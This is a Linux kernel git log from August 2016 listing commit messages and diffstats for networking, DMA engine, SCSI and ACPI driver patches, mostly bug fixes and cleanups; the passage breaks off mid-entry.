14972cbd34ff668c390cbd2e6497323484c9e812 Author: Roopa Prabhu Date: Wed Aug 24 20:10:43 2016 -0700 net: lwtunnel: Handle fragmentation Today mpls iptunnel lwtunnel_output redirect expects the tunnel output function to handle fragmentation. This is ok but can be avoided if we did not do the mpls output redirect too early. ie we could wait until ip fragmentation is done and then call mpls output for each ip fragment. To make this work we will need, 1) the lwtunnel state to carry encap headroom 2) and do the redirect to the encap output handler on the ip fragment (essentially do the output redirect after fragmentation) This patch adds tunnel headroom in lwtstate to make sure we account for tunnel data in mtu calculations during fragmentation and adds new xmit redirect handler to redirect to lwtunnel xmit func after ip fragmentation. This includes IPV6 and some mtu fixes and testing from David Ahern. Signed-off-by: Roopa Prabhu Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/lwtunnel.h | 44 ++++++++++++++++++++++++++++++++++++++++++++ net/core/lwtunnel.c | 35 +++++++++++++++++++++++++++++++++++ net/ipv4/ip_output.c | 8 ++++++++ net/ipv4/route.c | 4 +++- net/ipv6/ip6_output.c | 8 ++++++++ net/ipv6/route.c | 4 +++- net/mpls/mpls_iptunnel.c | 9 +++++---- 7 files changed, 106 insertions(+), 6 deletions(-) commit 41852497a9205964b958a245a9526040b980926f Author: Eric Dumazet Date: Fri Aug 26 12:50:39 2016 -0700 net: batch calls to flush_all_backlogs() After commit 145dd5f9c88f ("net: flush the softnet backlog in process context"), we can easily batch calls to flush_all_backlogs() for all devices processed in rollback_registered_many() Tested: Before patch, on an idle host. modprobe dummy numdummies=10000 perf stat -e context-switches -a rmmod dummy Performance counter stats for 'system wide': 1,211,798 context-switches 1.302137465 seconds time elapsed After patch: perf stat -e context-switches -a rmmod dummy Performance counter stats for 'system wide': 225,523 context-switches 0.721623566 seconds time elapsed Signed-off-by: Eric Dumazet Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller net/core/dev.c | 32 ++++++++++++-------------------- 1 file changed, 12 insertions(+), 20 deletions(-) commit ae3cb8cb20c87c0833a54360344ad4ee77bdb184 Author: Mark Rustad Date: Tue Aug 30 11:33:43 2016 -0700 ixgbe: Eliminate useless message and improve logic Remove a useless log message and improve the logic for setting a PHY address from the contents of the MNG_IF_SEL register. Signed-off-by: Mark Rustad Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher Signed-off-by: David S. Miller drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) commit 792438e59ab64bf44d559fbc9c1a42f878c50b4d Merge: cf4d13f 4de48af Author: David S. Miller Date: Tue Aug 30 22:08:52 2016 -0700 Merge tag 'rxrpc-rewrite-20160830-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Preparation for removal of use of skbs from AFS Here's a set of patches that prepare the way for the removal of the use of sk_buffs from fs/afs (they'll be entirely retained within net/rxrpc): (1) Fix a potential NULL-pointer deref in rxrpc_abort_calls(). (2) Condense all the terminal call state machine states to a single one plus supplementary info. (3) Add a trace point for rxrpc call usage debugging. (4) Cleanups and missing headers. (5) Provide a way for AFS to ask about a call's peer address without having an sk_buff to query. (6) Use call->peer directly rather than going via call->conn (which might be NULL). (7) Pass struct socket * to various rxrpc kernel interface functions so they can use that directly rather than getting it from the rxrpc_call struct. ==================== Signed-off-by: David S. Miller commit 670fc2a87013c3733868094c3ea115250398f2ea Author: Tony Lindgren Date: Fri Aug 19 15:59:39 2016 -0700 dmaengine: cppi41: Prepare to add PM runtime support Let's just move code from cppi41_dma_issue_pending() to push_desc_queue() as that's the only call to push_desc_queue(). We want to do this for PM runtime as we need to call push_desc_queue() also for pending queued transfers from PM runtime resume. No functional changes, just moves code around. Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit e39a2329cfb09072bbab3c1310efc9ff6b7c3aa9 Author: John Stultz Date: Mon Aug 29 10:30:53 2016 -0700 Kconfig: Allow k3dma driver to be selected for more then HISI3xx platforms This allows the k3dma driver to be selected on HiKey via the ARCH_HISI dependency. Cc: Zhangfei Gao Cc: Jingoo Han Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: John Stultz Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a7e08fa6cc783cae797a06114d18dec73fac08b3 Author: Andy Green Date: Mon Aug 29 10:30:52 2016 -0700 k3dma: Add cyclic mode for audio Currently the k3dma driver doesn't offer the cyclic mode necessary for handling audio. This patch adds it. Cc: Zhangfei Gao Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: Andy Green [jstultz: Forward ported to mainline, removed a few bits of logic that didn't seem to have much effect] Signed-off-by: John Stultz Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 114 +++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 103 insertions(+), 11 deletions(-) commit 36387a2b1f62b5c087c5fe6f0f7b23b94f722ad7 Author: John Stultz Date: Mon Aug 29 10:30:51 2016 -0700 k3dma: Fix memory handling in preparation for cyclic mode With cyclic mode, the shared virt-dma logic doesn't actually manage the descriptor state, nor the calling of the descriptor free callback. This results in leaking a desc structure every time we start an audio transfer. Thus we must manage it ourselves. The k3dma driver already keeps track of the active and finished descriptors via ds_run and ds_done pointers, so cleanup how we handle those two values, so when we tear down everything in terminate_all, call free_desc on the ds_run and ds_done pointers if they are not null. NOTE: HiKey doesn't use the non-cyclic dma modes, so I'm not been able to test those modes. But with this patch we no longer leak the desc structures. Cc: Zhangfei Gao Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: John Stultz Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 38 ++++++++++++++++++++++++-------------- 1 file changed, 24 insertions(+), 14 deletions(-) commit b77f262ae351d467c22b056f6d13afeeab7ea69a Author: John Stultz Date: Mon Aug 29 10:30:50 2016 -0700 k3dma: Fix occasional DMA ERR issue by using proper dma api After lots of debugging on an occasional DMA ERR issue, I realized that the desc structures which we point the dma hardware are being allocated out of regular memory. This means when we fill the desc structures, that data doesn't always get flushed out to memory by the time we start the dma transfer, resulting in the dma engine getting some null values, resulting in a DMA ERR on the first irq. Thus, this patch adopts mechanism similar to the zx296702_dma of allocating the desc structures from a dma pool, so the memory caching rules are properly set to avoid this issue. Cc: Zhangfei Gao Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: John Stutlz Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 53 +++++++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 45 insertions(+), 8 deletions(-) commit 0173c895ed83f4654e7d6535088973725e76f304 Author: Andy Green Date: Mon Aug 29 10:30:49 2016 -0700 k3dma: Fix "nobody cared" message seen on any error As it was before, as soon as the DMAC IP felt there was an error he would return IRQ_NONE since no actual transfer had completed. After spinning on that for 100K interrupts, Linux yanks the IRQ with a "nobody cared" error. This patch lets it handle the interrupt and keep the IRQ alive. Cc: Zhangfei Gao Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: Andy Green [jstultz: Forward ported to mainline] Signed-off-by: John Stultz Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit aceaaa17e795b963880d71a03ab1ca9f4f597185 Author: Andy Green Date: Mon Aug 29 10:30:48 2016 -0700 k3dma: Fix dma err offsets The offsets for ERR1 and ERR2 are wrong actually. That's why you can never clear an error. Cc: Zhangfei Gao Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: Andy Green [jstultz: Forward ported to mainline] Signed-off-by: John Stultz Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6c28a90fb30cd3fe504e7dafe0b60b733f240f8c Author: Andy Green Date: Mon Aug 29 10:30:47 2016 -0700 k3dma: Fix hisi burst clipping Max burst len is a 4-bit field, but at the moment it's clipped with a 5-bit constant... reduce it to that which can be expressed Cc: Zhangfei Gao Cc: Krzysztof Kozlowski Cc: Maxime Ripard Cc: Vinod Koul Cc: Dan Williams Cc: Mark Brown Cc: Andy Green Acked-by: Zhangfei Gao Signed-off-by: Andy Green [jstultz: Forward ported to mainline] Signed-off-by: John Stultz Signed-off-by: Vinod Koul drivers/dma/k3dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d67e8b385fac90c100fb65b9534616769cd3f9b8 Author: Baoyou Xie Date: Tue Aug 30 19:26:00 2016 +0800 scsi: move function declarations to scsi_priv.h We get 2 warnings about global functions without a declaration in the scsi driver when building with W=1: drivers/scsi/scsi_lib.c:467:6: warning: no previous prototype for 'scsi_requeue_run_queue' [-Wmissing-prototypes] drivers/scsi/scsi_lib.c:2609:6: warning: no previous prototype for 'scsi_evt_thread' [-Wmissing-prototypes] In fact, both functions are declared in drivers/scsi/scsi_scan.c but need to move them into scsi_priv.h. Signed-off-by: Baoyou Xie Reviewed-by: Bart Van Assche Signed-off-by: Martin K. Petersen drivers/scsi/scsi_priv.h | 2 ++ drivers/scsi/scsi_scan.c | 2 -- 2 files changed, 2 insertions(+), 2 deletions(-) commit ee6a8773cfadc1383a6b6ea4e52c0d93ebdf292a Author: Colin Ian King Date: Sun Aug 28 12:24:48 2016 +0100 scsi: qla2xxx: fix spelling mistake "retyring" -> "retrying" Trivial fix to spelling mistakes in ql_dbg messages. Signed-off-by: Colin Ian King Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_os.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b7d2648ac3d4da3ae27f65f14958d2130cdf30ac Author: Fabio Estevam Date: Wed Aug 10 13:05:05 2016 -0300 dmaengine: imx-sdma: Add i.MX7 support Allow i.MX7 to work with the imx-sdma driver. Signed-off-by: Fabio Estevam Tested-by: Stefan Agner Signed-off-by: Vinod Koul .../devicetree/bindings/dma/fsl-imx-sdma.txt | 1 + drivers/dma/imx-sdma.c | 26 ++++++++++++++++++++++ 2 files changed, 27 insertions(+) commit 01f17641c4c6e7468bbd3d3f382c151db01dc0e8 Author: Finn Thain Date: Sat Aug 27 12:30:00 2016 +1000 scsi: ncr5380: Avoid a compiler warning With commit 3a0f64bfa907 ("mac_scsi: Fix pseudo DMA implementation") some versions of gcc now warn: In file included from drivers/scsi/mac_scsi.c:335: drivers/scsi/NCR5380.h:295: warning: `NCR5380_poll_politely' declared inline after being called drivers/scsi/NCR5380.h:295: warning: previous declaration of `NCR5380_poll_politely' was here Avoid this by defining NCR5380_poll_politely() in NCR5380.h. [mkp: checkpatch warnings] Suggested-by: Geert Uytterhoeven Signed-off-by: Finn Thain Tested-by: Geert Uytterhoeven Signed-off-by: Martin K. Petersen drivers/scsi/NCR5380.c | 7 ------- drivers/scsi/NCR5380.h | 8 +++++++- 2 files changed, 7 insertions(+), 8 deletions(-) commit 35d0acbaee5bb29e29d0b39e2853ec68d38806b8 Author: Finn Thain Date: Sat Aug 27 12:29:59 2016 +1000 scsi: Documentation/scsi: Remove nodisconnect parameter The driver that used the 'nodisconnect' parameter was removed in commit 565bae6a4a8f ("[SCSI] 53c7xx: kill driver"). Related documentation was cleaned up in commit f37a7238d379 ("[SCSI] 53c7xx: fix removal fallout"), except for the remaining two mentions that are removed here. Signed-off-by: Finn Thain Reviewed-by: Geert Uytterhoeven Signed-off-by: Martin K. Petersen Documentation/kernel-parameters.txt | 2 -- Documentation/scsi/scsi-parameters.txt | 2 -- 2 files changed, 4 deletions(-) commit 980b3271d15992c158a86d8ed8776ec9d89f3dd5 Author: Wei Yongjun Date: Fri Jul 22 14:03:46 2016 +0000 scsi: ibmvscsis: Use list_move_tail instead of list_del/list_add_tail Using list_move_tail() instead of list_del() + list_add_tail(). Signed-off-by: Wei Yongjun Reviewed-by: Tyrel Datwyler Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi_tgt/ibmvscsi_tgt.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit cf4d13fecfe02ce695fc44d8a136d28505365e8e Author: Colin Ian King Date: Fri Aug 26 19:35:25 2016 +0100 drivers: net: stmmac: fix spelling mistake "mulitcast" -> "multicast" Trivial fix to spelling mistake in dev_warn message. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7260ecd22baa3c62ef6efaf59e7de53f4c8df800 Merge: 2f8bc00 c833624 Author: Florian Fainelli Date: Tue Aug 30 20:02:04 2016 -0700 Merge tag 'bcm2835-dt-next-2016-08-29' into devicetree/next This pull request brings in support for Raspberry Pi Zero. Signed-off-by: Florian Fainelli commit 658f18d1b82b9f9d89f7c74cd2bcbc9b33a74870 Author: Jitendra Bhivare Date: Fri Aug 26 15:09:08 2016 +0530 scsi: be2iscsi: Add missing unlock for mbox_lock Julia pointed out beiscsi_boot_get_sinfo does not unlock mbox_lock on nonemb_cmd memory allocation failure. Signed-off-by: Jitendra Bhivare Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_mgmt.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit bf9b7554f46c4736d72e61f076a2d91a4303d2ea Author: Jitendra Bhivare Date: Fri Aug 26 15:09:07 2016 +0530 scsi: be2iscsi: Remove redundant iscsi_wrb desc memset alloc_wrb_handle already does memset zero of iscsi_wrb descriptor so remove redundant memset in WRB submission paths. Add pwrb_handle NULL check before memsett'ing pwrb. Signed-off-by: Jitendra Bhivare Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 5 +++-- drivers/scsi/be2iscsi/be_mgmt.c | 3 --- 2 files changed, 3 insertions(+), 5 deletions(-) commit deeea8edc746c68d7aa2282322b14be701ec11ee Author: Christophe JAILLET Date: Fri Aug 26 15:09:06 2016 +0530 scsi: be2iscsi: Fix error return code We know that 'ret' is not an error code because it has been tested a few lines above. So, if one of these function fails, 0 will be returned instead of an error code. Return -ENOMEM instead. Signed-off-by: Christophe JAILLET 'ret' needs to be set with error code if hba_setup_cid_tbls fails. Signed-off-by: Jitendra Bhivare Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit 51f9039ffd751dee54fe26609df645bfd128b1d0 Author: Christophe JAILLET Date: Sun Aug 21 10:28:25 2016 +0200 scsi: megaraid_sas: Fix the search of first memory bar The 2nd parameter of 'find_first_bit' is the number of bits to search. In this case, we are passing 'sizeof(unsigned long)' which is likely to be 4. It is likely that the number of bits in a long was expected here, so use BITS_PER_LONG instead. Signed-off-by: Christophe JAILLET Acked-by: Sumit Saxena Signed-off-by: Martin K. Petersen drivers/scsi/megaraid/megaraid_sas_base.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f8630bd7e2185d175f76b38b36609c45144e2d15 Author: Paul Burton Date: Fri Aug 19 17:43:57 2016 +0100 scsi: sg: Use mult_frac, drop MULDIV macro The MULDIV macro is essentially a duplicate of the more standard mult_frac macro. Replace use of MULDIV with mult_frac & drop the duplication. Signed-off-by: Paul Burton Acked-by: Douglas Gilbert Signed-off-by: Martin K. Petersen drivers/scsi/sg.c | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) commit b9b6e80ad3b11778f1066d698a838bcc86efb6be Author: Paul Burton Date: Fri Aug 19 17:43:56 2016 +0100 scsi: sg: Avoid overflow when USER_HZ > HZ Calculating the maximum timeout that a user can set via the SG_SET_TIMEOUT ioctl involves multiplying INT_MAX by USER_HZ/HZ. If USER_HZ is larger than HZ then this results in an overflow when performed as a 32 bit integer calculation, resulting in compiler warnings such as the following: drivers/scsi/sg.c: In function 'sg_ioctl': drivers/scsi/sg.c:91:67: warning: integer overflow in expression [-Woverflow] #define MULDIV(X,MUL,DIV) ((((X % DIV) * MUL) / DIV) + ((X / DIV) * MUL)) ^ drivers/scsi/sg.c:887:14: note: in expansion of macro 'MULDIV' if (val >= MULDIV (INT_MAX, USER_HZ, HZ)) ^ drivers/scsi/sg.c:91:67: warning: integer overflow in expression [-Woverflow] #define MULDIV(X,MUL,DIV) ((((X % DIV) * MUL) / DIV) + ((X / DIV) * MUL)) ^ drivers/scsi/sg.c:888:13: note: in expansion of macro 'MULDIV' val = MULDIV (INT_MAX, USER_HZ, HZ); ^ Avoid this overflow by performing the (constant) arithmetic on 64 bit integers, which ensures that overflow from multiplying the 32 bit values cannot occur. When converting the result back to a 32 bit integer use min_t to ensure that we don't simply truncate a value beyond INT_MAX to a 32 bit integer, but instead use INT_MAX where the result was larger than it. As the values are all compile time constant the 64 bit arithmetic should have no runtime cost. Signed-off-by: Paul Burton Acked-by: Douglas Gilbert Signed-off-by: Martin K. Petersen drivers/scsi/sg.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 99b0efd7c886f4c985cb2727a86548413922cbe2 Author: Al Stone Date: Fri Aug 19 18:48:13 2016 -0600 ACPI / tables: do not report the number of entries ignored by acpi_parse_entries() The function acpi_parse_entries_array() has a limiting parameter, max_entries, which tells the function to stop looking at subtables once that limit has been reached. If the limit is reached, it is reported. However, the logic is incorrect in that the loop to examine all subtables will always report that zero subtables have been ignored since it does not continue once the max_entries have been reached. One approach to fixing this would be to correct the logic so that all subtables are examined, even if we have hit the max_entries, but without executing all the callback functions. This could be risky since we cannot guarantee that no callback will ever have side effects that another callback depends on to work correctly. So, the simplest approach is to just remove the part of the error message that will always be incorrect. Signed-off-by: Al Stone Signed-off-by: Rafael J. Wysocki drivers/acpi/tables.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8726d4f441505def8a488d50e50568403f6ad191 Author: Al Stone Date: Fri Aug 19 18:48:12 2016 -0600 ACPI / tables: fix acpi_parse_entries_array() so it traverses all subtables The acpi_parse_entries_array() function currently returns the very first time there is any error found by one of the callback functions, or if one of the callbacks returns a non-zero value. However, the ACPI subtables being traversed could still have valid entries that could be used by one of the callback functions. And, if the comments are correct, that is what should happen -- always traverse all of the subtables, calling as many of the callbacks as possible. This patch makes the function consistent with its description so that it will properly invoke all callbacks for all matching entries, for all subtables, instead of stopping abruptly as it does today. This does change the semantics of using acpi_parse_entries_array(). In examining all users of the function, none of them rely on the current behavior; that is, there appears to be no assumption that either all subtables are traversed and all callbacks invoked, or that the function will return immediately on any error from a callback. Each callback operates independently. Hence, there should be no functional change due to this change in semantics. Future patches being prepared will rely on this new behavior; indeed, they were written assuming the acpi_parse_entries_array() function operated as its comments describe. For example, a callback that counts the number of subtables of a specific type can now be assured that as many subtables as possible have been enumerated. Signed-off-by: Al Stone Signed-off-by: Rafael J. Wysocki drivers/acpi/tables.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit fa162a05de280e7e62f30eac4dc591e8f5052483 Author: Al Stone Date: Fri Aug 19 18:48:11 2016 -0600 ACPI / tables: fix incorrect counts returned by acpi_parse_entries_array() The static function acpi_parse_entries_array() is provided an array of type struct acpi_subtable_proc that has a callback function and a count. The count should reflect how many times the callback has been called. However, the current code only increments the 0th element of the array, regardless of the number of entries in the array, or which callback has been invoked. The result is that we know the total number of callbacks made but we cannot determine which callbacks were made, nor how often. The fix is to index into the array of structs and increment the proper counts. There is one place in the x86 code for acpi_parse_madt_lapic_entries() where the counts for each callback are used. If no LAPICs *and* no X2APICs are found, an ENODEV is supposed to be returned; as it stands, the count of X2APICs will always be zero, regardless of what is in the MADT. Should there be no LAPICs, ENODEV will be returned in error, if there are X2APICs in the MADT. Otherwise, there are no other functional consequences of the count being done as it currently is; all other uses simply check that the return value from acpi_parse_entries_array() or passed back via its callers is either non-zero, an error, or in one case just ignored. In future patches, I will also need these counts to be correct; I need to count the number of instances of subtables of certain types within the MADT to determine whether or not an ACPI IORT is required or not, and report when it is not present when it should be. Signed-off-by: Al Stone Signed-off-by: Rafael J. Wysocki drivers/acpi/tables.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a5565cf238daa6b1d5a260d844f857176d280886 Author: Heikki Krogerus Date: Tue Aug 23 11:33:27 2016 +0300 ACPI / LPSS: Provide build-in properties of the UART The UART driver, dw8250.c, needs some details regarding the Designware UART. For ACPI enumerated devices the values are hard-coded, but since the driver also reads the values from device properties, providing them with build-in properties. This allows us to later remove the hard-coded values from the driver. Signed-off-by: Heikki Krogerus Acked-by: Mika Westerberg Reviewed-by: Andy Shevchenko Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_lpss.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 7ff55d174cbfdd06245c20a7488da4e9499cfd11 Author: Heikki Krogerus Date: Tue Aug 23 11:33:26 2016 +0300 ACPI / APD: Provide build-in properties of the UART The UART driver, dw8250.c, needs some details regarding the Designware UART. For ACPI enumerated devices the values are hard-coded, but since the driver also reads the values from device properties, providing them with build-in properties. This allows us to later remove the hard-coded values from the driver. Signed-off-by: Heikki Krogerus Reviewed-by: Andy Shevchenko Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_apd.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit f9151fcfcdfc662d4bfd74abf60c5e42722acf40 Author: Lv Zheng Date: Wed Aug 17 16:23:14 2016 +0800 ACPI / button: Add document for ACPI control method lid device restrictions This patch adds documentation for the usage model of the control method lid device on some buggy platforms. Signed-off-by: Lv Zheng Acked-by: Benjamin Tissoires Signed-off-by: Rafael J. Wysocki Documentation/acpi/acpi-lid.txt | 96 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) commit dfa46c50f65b6ca10cea389327a6f1f1749bc633 Author: Lv Zheng Date: Wed Aug 17 16:22:58 2016 +0800 ACPI / button: Fix an issue in button.lid_init_state=ignore mode On most platforms, _LID returning value, lid open/close events are all reliable, but there are exceptions. Some AML tables report wrong initial lid state [1], and some of them never report lid open state [2]. The usage model on such buggy platforms is: 1. The initial lid state returned from _LID is not reliable; 2. The lid open event is not reliable; 3. The lid close event is always reliable, used by the platform firmware to trigger OSPM power saving operations. This usage model is not compliant to the Linux SW_LID model as the Linux userspace is very strict to the reliability of the open events. In order not to trigger issues on such buggy platforms, the ACPI button driver currently implements a lid_init_state=open quirk to send additional "open" event after resuming. However, this is still not sufficient because: 1. Some special usage models (e.x., the dark resume scenario) cannot be supported by this mode. 2. If a "close" event is not used to trigger "suspend", then the subsequent "close" events cannot be seen by the userspace. So we need to stop sending the additional "open" event and switch the driver to lid_init_state=ignore mode and make sure the platform triggered events can be reliably delivered to the userspace. The userspace programs then can be changed to not to be strict to the "open" events on such buggy platforms. Why will the subsequent "close" events be lost? This is because the input layer automatically filters redundant events for switch events. Thus given that the buggy AML tables do not guarantee paired "open"/"close" events, the ACPI button driver currently is not able to guarantee that the platform triggered reliable events can be always be seen by the userspace via SW_LID. This patch adds a mechanism to insert lid events as a compensation for the platform triggered ones to form a complete event switches in order to make sure that the platform triggered events can always be reliably delivered to the userspace. This essentially guarantees that the platform triggered reliable "close" events will always be relibly delivered to the userspace. However this mechanism is not suitable for lid_init_state=open/method as it should not send the complement switch event for the unreliable initial lid state notification. 2 unreliable events can trigger unexpected behavior. Thus this patch only implements this mechanism for lid_init_state=ignore. Known issues: 1. Possible alternative approach This approach is based on the fact that Linux requires a switch event type for LID events. Another approach is to use key event type to implement ACPI lid events. With SW event type, since ACPI button driver inserts wrong lid events, there could be a potential issue that an "open" event issued from some AML update methods could result in a wrong "close" event to be delivered to the userspace. While using KEY event type, there is no such problem. However there may not be such a kind of real case, and if there is such a case, it is worked around in this patch as the complement switch event is only generated for "close" event in order to deliver the reliable "close" event to the userspace. Link: https://bugzilla.kernel.org/show_bug.cgi?id=89211 # [1] Link: https://bugzilla.kernel.org/show_bug.cgi?id=106151 # [1] Link: https://bugzilla.kernel.org/show_bug.cgi?id=106941 # [2] Signed-off-by: Lv Zheng Suggested-by: Dmitry Torokhov Signed-off-by: Rafael J. Wysocki drivers/acpi/button.c | 85 +++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 82 insertions(+), 3 deletions(-) commit 139aee73f0c23b95a7e919b8f7e51ccf2d221181 Author: Prakash, Prashanth Date: Tue Aug 16 14:39:44 2016 -0600 ACPI / CPPC: check for error bit in PCC status field PCC status field exposes an error bit(2) to indicate any errors during the execution of last comamnd. This patch checks the error bit before notifying success/failure to the cpufreq driver. Signed-off-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 66 +++++++++++++++++++++++------------------------- include/acpi/cppc_acpi.h | 4 ++- 2 files changed, 34 insertions(+), 36 deletions(-) commit 8482ef8c6e684a1bba703c330e0bafe2d1d29ef7 Author: Prakash, Prashanth Date: Tue Aug 16 14:39:43 2016 -0600 ACPI / CPPC: move all PCC related information into pcc_data There are several global variables in cppc driver that are related to PCC channel used for CPPC. This patch collects all such information into a single consolidated structure(cppc_pcc_data). Signed-off-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 167 ++++++++++++++++++++++++----------------------- 1 file changed, 87 insertions(+), 80 deletions(-) commit 158c998ea44ba30ae3d1bde535581c4436417530 Author: Ashwin Chaugule Date: Tue Aug 16 14:39:42 2016 -0600 ACPI / CPPC: add sysfs support to compute delivered performance The CPPC tables contain entries for per CPU feedback counters which allows us to compute the delivered performance over a given interval of time. The math for delivered performance per the CPPCv5.0+ spec is: reference perf * delta(delivered perf ctr)/delta(ref perf ctr) Maintaining deltas of the counters in the kernel is messy, as it depends on when the reads are triggered. (e.g. via the cpufreq ->get() interface). Also the ->get() interace only returns one value, so cant return raw values. So instead, leave it to userspace to keep track of raw values and do its math for CPUs it cares about. delivered and reference perf counters are exposed via the same sysfs file to avoid the potential "skid", if these values are read individually from userspace. Signed-off-by: Prashanth Prakash Signed-off-by: Ashwin Chaugule Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 135 ++++++++++++++++++++++++++++++++++++++++------- include/acpi/cppc_acpi.h | 6 +-- 2 files changed, 120 insertions(+), 21 deletions(-) commit be8b88d7d9877114172b32817d8eb3e85d3d8f99 Author: Prakash, Prashanth Date: Tue Aug 16 14:39:41 2016 -0600 ACPI / CPPC: set a non-zero value for transition_latency Compute the expected transition latency for frequency transitions using the values from the PCCT tables when the desired perf register is in PCC. Signed-off-by: Prashanth Prakash Reviewed-by: Alexey Klimov Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 46 ++++++++++++++++++++++++++++++++++++++++-- drivers/cpufreq/cppc_cpufreq.c | 1 + include/acpi/cppc_acpi.h | 1 + 3 files changed, 46 insertions(+), 2 deletions(-) commit 80b8286aeec056d21bffed2d1ece3904516e9c91 Author: Prakash, Prashanth Date: Tue Aug 16 14:39:40 2016 -0600 ACPI / CPPC: support for batching CPPC requests CPPC defined in section 8.4.7 of ACPI 6.0 specification suggests "To amortize the cost of PCC transactions, OSPM should read or write all PCC registers via a single read or write command when possible" This patch enables opportunistic batching of frequency transition requests whenever the request happen to overlap in time. Currently the access to pcc is serialized by a spin lock which does not scale well as we increase the number of cores in the system. This patch improves the scalability by allowing the differnt CPU cores to update PCC subspace in parallel and by batching requests which will reduce the certain types of operation(checking command completion bit, ringing doorbell) by a significant margin. Profiling shows significant improvement in the overall effeciency to service freq. transition requests. With this patch we observe close to 30% of the frequency transition requests being batched with other requests while running apache bench on a ARM platform with 6 independent domains(or sets of related cpus). Signed-off-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 198 +++++++++++++++++++++++++++++++++++++++-------- include/acpi/cppc_acpi.h | 2 + 2 files changed, 166 insertions(+), 34 deletions(-) commit 850d64a4a63ea58c7d58161989d3bd4035ec6dfd Author: Prakash, Prashanth Date: Tue Aug 16 14:39:39 2016 -0600 ACPI / CPPC: acquire pcc_lock only while accessing PCC subspace We need to acquire pcc_lock only when we are accessing registers that are in the PCC subspsace. Signed-off-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) commit 5bbb86aa4b8d84395e42cd05448820651d79f349 Author: Ashwin Chaugule Date: Tue Aug 16 14:39:38 2016 -0600 ACPI / CPPC: restructure read/writes for efficient sys mapped reg ops For cases where sys mapped CPC registers need to be accessed frequently, it helps immensly to pre-map them rather than map and unmap for each operation. e.g. case where feedback counters are sys mem map registers. Restructure cpc_read/write and the cpc_regs structure to allow pre-mapping the system addresses and unmap them when the CPU exits. Signed-off-by: Ashwin Chaugule Signed-off-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 108 +++++++++++++++++++++++++++++++---------------- include/acpi/cppc_acpi.h | 1 + 2 files changed, 72 insertions(+), 